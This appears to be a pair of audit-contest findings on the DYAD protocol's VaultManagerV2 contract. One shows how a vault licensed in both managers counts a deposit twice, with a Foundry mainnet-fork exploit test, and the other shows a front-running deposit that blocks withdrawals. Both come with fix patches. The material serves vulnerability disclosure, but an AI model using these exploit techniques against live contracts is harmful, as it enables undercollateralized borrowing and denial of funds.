DYAD - zigtur's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L241-L286 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94

Vulnerability details

Impact

Users can create undercollateralized loans because the USD value of a single deposit is accounted twice.

These loans will not be liquidated as they are considered healthy.

Proof of Concept

Vulnerable code

Scope:

• https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L241-L286
• https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65
• https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94

When a single vault is licensed in both Licenser and KerosineManager, the USD value of a single deposit in this vault is accounted twice during the collateral ratio calculation.

getTotalUsdValue adds the getNonKeroseneValue and the getKeroseneValue. When a vault is both kerosene and non-kerosene, the value in this vault is accounted twice:

  function getTotalUsdValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      return getNonKeroseneValue(id) + getKeroseneValue(id);
  }

  function getNonKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaults[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[id].at(i));
        uint usdValue;
        if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);// @POC: adds the USD value once here
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
        if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);// @POC: adds the USD value one more time here
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

The Deploy.V2.s.sol script shows that the ethVault and the wstEth vaults are configured as kerosene vaults and as non-kerosene vaults, the deployment is vulnerable.

Test file

This Proof of Concept shows that a single deposit can be accounted twice during the USD value calculation. This USD value is used in the collateral calculation, so an attacker can make undercollaterized loans that can not be liquidated.

Import the following file in test/Exploit.t.sol and run forge test --mt test_exploitDoubleUsdValueOfDeposit --fork-url $ETH_MAINNET_RPC -vvv:

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "forge-std/StdCheats.sol";
import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {Vault} from "../src/core/Vault.sol";
import {VaultWstEth} from "../src/core/Vault.wsteth.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

contract ExploitTest is Test, Parameters {
  DNft         dNft = DNft(MAINNET_DNFT);
  Licenser     vaultLicenser;
  Dyad         dyad = Dyad(MAINNET_DYAD);
  VaultManagerV2 vaultManager;
  KerosineManager kerosineManager;

  // weth
  Vault        wethVault;
  ERC20    weth = ERC20(MAINNET_WETH);

  VaultWstEth wstethVault;
  ERC20 wstETH = ERC20(MAINNET_WSTETH);


  function setUp() public {
    Contracts memory contracts = new DeployV2().run();

    kerosineManager      = contracts.kerosineManager;
    vaultLicenser        = contracts.vaultLicenser;
    vaultManager         = contracts.vaultManager;
    wethVault            = contracts.ethVault;
    wstethVault          = contracts.wstEth;

  }
  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }

  // Proof of Concept

  // Deposited value is accounted twice
  function test_exploitDoubleUsdValueOfDeposit() public {
    uint id = mintDNft();
    uint DEPOSIT = 1e22;
    deposit(weth, id, address(wethVault), DEPOSIT);
    uint legitUsdValue = vaultManager.getTotalUsdValue(id);
    console.log("Value = ",legitUsdValue);


    vaultManager.addKerosene(id, address(wethVault));
    uint doubleUsdValue = vaultManager.getTotalUsdValue(id);
    console.log("Value = ",doubleUsdValue);

    assertEq(doubleUsdValue, 2 * legitUsdValue, "Exploit didn't work");
  }


  // HELPERS
  function mintDNft() public returns (uint) {
    return dNft.mintNft{value: 1 ether}(address(this));
  }

  function deposit(
    ERC20 token,
    uint      id,
    address   vault,
    uint      amount
  ) public {
    vaultManager.add(id, vault);
    StdCheats.deal(address(token), address(this), amount);
    token.approve(address(vaultManager), amount);
    vaultManager.deposit(id, address(vault), amount);
  }
}

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Ensure that Kerosene vaults can't be Non-Kerosene vaults and vice-versa. This will avoid accounting twice the USD value of deposits in these vaults.

The following patch shows such a fix (it requires further modifications in Deploy.V2.s.sol):

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..ba7de16 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -71,6 +71,7 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     external
       isDNftOwner(id)
   {
+    if (vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded();
     if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
     if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
     if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
@@ -84,6 +85,7 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     external
       isDNftOwner(id)
   {
+    if (vaults[id].contains(vault))                        revert VaultAlreadyAdded();
     if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
     if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
     if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();

Note: the patch can be applied with git apply.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L143 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L127

Vulnerability details

Impact

An attacker can DoS a legit withdrawal by front-running it with a small deposit.

Proof of Concept

Scope:

• https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L143
• https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L127

A withdrawal and a deposit to the same NFT ID can't be done in a single block.

A legit user calls VaultManagerV2.withdraw. The function checks that no deposit has been done in the current block.

  /// @inheritdoc IVaultManager
  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    // ...
  }

Because there is no access control on deposit (the isDnftOwner modifier is not used), an attacker can leverage the block number check by frontrunning the transaction with a call to VaultManagerV2.deposit:

  /// @inheritdoc IVaultManager
  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    //...
  }

Then, the legit withdraw transaction will revert and the user will not be able to withdraw his funds.

Tools Used

Manual review

Recommended Mitigation Steps

Two ways to fix the issue can be used:

• Fix 1: Remove the block number check from the codebase
• Fix 2: Set an access control on deposit

The following patch implements Fix 1:

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..b8862fc 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -34,8 +34,6 @@ contract VaultManagerV2 is IVaultManager, Initializable {
   mapping (uint => EnumerableSet.AddressSet) internal vaults; 
   mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene; 
 
-  mapping (uint => uint) public idToBlockOfLastDeposit;
-
   modifier isDNftOwner(uint id) {
     if (dNft.ownerOf(id) != msg.sender)   revert NotOwner();    _;
   }
@@ -124,7 +122,6 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     external 
       isValidDNft(id)
   {
-    idToBlockOfLastDeposit[id] = block.number;
     Vault _vault = Vault(vault);
     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
     _vault.deposit(id, amount);
@@ -140,7 +137,6 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     public
       isDNftOwner(id)
   {
-    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
     uint dyadMinted = dyad.mintedDyad(address(this), id);
     Vault _vault = Vault(vault);
     uint value = amount * _vault.assetPrice()

The following patch implements Fix 2:

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..04f8c36 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -122,7 +122,7 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     uint    amount
   ) 
     external 
-      isValidDNft(id)
+      isDNftOwner(id)
   {
     idToBlockOfLastDeposit[id] = block.number;
     Vault _vault = Vault(vault);

Note: A patch can be applied through git apply.

Assessed type

DoS